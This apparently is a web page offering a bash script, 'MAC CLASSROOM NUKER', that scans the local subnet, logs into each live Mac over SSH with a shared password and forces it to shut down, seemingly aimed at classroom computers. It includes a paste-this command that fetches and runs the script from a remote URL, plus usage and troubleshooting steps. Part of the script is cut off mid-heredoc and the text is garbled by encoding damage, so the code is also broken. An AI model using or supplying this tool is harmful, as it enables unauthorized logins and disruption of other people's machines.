Quickest way: copy and paste this single command into your Terminal. It will download and execute the script directly β no file creation needed.
bash <(curl -s https://macshutdown.pages.dev/killallmacs.sh)
π‘ Tip: You'll still be prompted for the shared password. The script runs with your current user credentials.
π Prerequisite: The script killallmacs.sh must be hosted at the same URL. If you haven't uploaded it yet, follow the Step 2 below to create the script file, then upload it to your site root.
expect is installed by default on macOS β no extra setup needed.Terminal.app (Applications β Utilities β Terminal).yourname@YourMac ~ %.
killallmacs.sh using any text editor or nano.nano ~/killallmacs.sh
Then copy the entire script below and paste it into the editor.
#!/bin/bash
# ==============================================================
# MAC CLASSROOM NUKER v2.0 β Potato Edition
# Uses SSH + osascript (no sudo) to force shutdown all LAN Macs
# ==============================================================
# --- Colors for output ---
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color
# --- Get current user and local IP ---
USERNAME=$(whoami)
LOCAL_IP=$(ipconfig getifaddr en0 2>/dev/null || ipconfig getifaddr en1 2>/dev/null)
if [ -z "$LOCAL_IP" ]; then
echo -e "${RED}ERROR: Could not detect active network interface.${NC}"
echo "Make sure you're on Ethernet/Wi-Fi and try again."
exit 1
fi
# Extract subnet (first three octets)
SUBNET=$(echo "$LOCAL_IP" | cut -d. -f1-3)
echo -e "${CYAN}[*] Local IP: $LOCAL_IP${NC}"
echo -e "${CYAN}[*] Target subnet: $SUBNET.0/24${NC}"
# --- Ask for the shared password (will be used for all SSH logins) ---
echo -e "${YELLOW}Enter the shared password for user '$USERNAME' on all Macs:${NC}"
read -s PASSWORD
echo
# --- Ping sweep to find alive hosts ---
echo -e "${YELLOW}[*] Scanning for alive hosts (this may take 15-30 seconds)...${NC}"
ALIVE_IPS=()
for i in {1..254}; do
IP="$SUBNET.$i"
if [ "$IP" = "$LOCAL_IP" ]; then
continue # skip ourselves
fi
# Quick ping with 1 second timeout
ping -c 1 -W 1 "$IP" &>/dev/null
if [ $? -eq 0 ]; then
ALIVE_IPS+=("$IP")
echo -e "${GREEN}[+] $IP is alive${NC}"
fi
done
if [ ${#ALIVE_IPS[@]} -eq 0 ]; then
echo -e "${RED}[!] No alive hosts found. Aborting.${NC}"
exit 0
fi
echo -e "${CYAN}[*] Found ${#ALIVE_IPS[@]} alive host(s).${NC}"
# --- Create an expect script on the fly to handle SSH password ---
EXPECT_SCRIPT=$(mktemp)
cat > "$EXPECT_SCRIPT" </tmp/expect_output_$$.txt
if grep -q "Shut Down" /tmp/expect_output_$$.txt || grep -q "System Events" /tmp/expect_output_$$.txt; then
if grep -q "not allowed" /tmp/expect_output_$$.txt || grep -q "denied" /tmp/expect_output_$$.txt; then
echo -e "${RED}FAIL (permission denied)${NC}"
((FAIL++))
else
echo -e "${GREEN}SUCCESS${NC}"
((SUCCESS++))
fi
else
echo -e "${GREEN}SUCCESS (likely)${NC}"
((SUCCESS++))
fi
rm -f /tmp/expect_output_$$.txt
done
rm -f "$EXPECT_SCRIPT"
# --- Final report ---
echo -e "\n${CYAN}========== SHUTDOWN REPORT ==========${NC}"
echo -e "Total targets: ${#ALIVE_IPS[@]}"
echo -e "${GREEN}Success: $SUCCESS${NC}"
echo -e "${RED}Failed: $FAIL${NC}"
echo -e "${CYAN}=====================================${NC}"
if [ $FAIL -gt 0 ]; then
echo -e "${YELLOW}HINT: Failures usually mean SSH is disabled or password is wrong.${NC}"
echo "To check if SSH is enabled on a target, try: ssh -o ConnectTimeout=5 user@target_ip"
echo "If you get 'Connection refused', then Remote Login is OFF."
fi
nano, press Ctrl+O (Enter), then Ctrl+X to exit.
chmod +x ~/killallmacs.sh
./killallmacs.sh
Option B β Run from URL (if you uploaded the script):
bash <(curl -s https://macshutdown.pages.dev/killallmacs.sh)
You will be prompted for the shared password (it won't show as you type).osascript (very rare).ifconfig). Ensure you're on the same LAN.Ctrl+C to abort. The ping sweep takes ~15β30 seconds; wait patiently.
ssh -o ConnectTimeout=5 student@192.168.1.42
Replace student with the actual username and the IP with a target.
You can also copy the full script directly from the block above (click the π Copy button).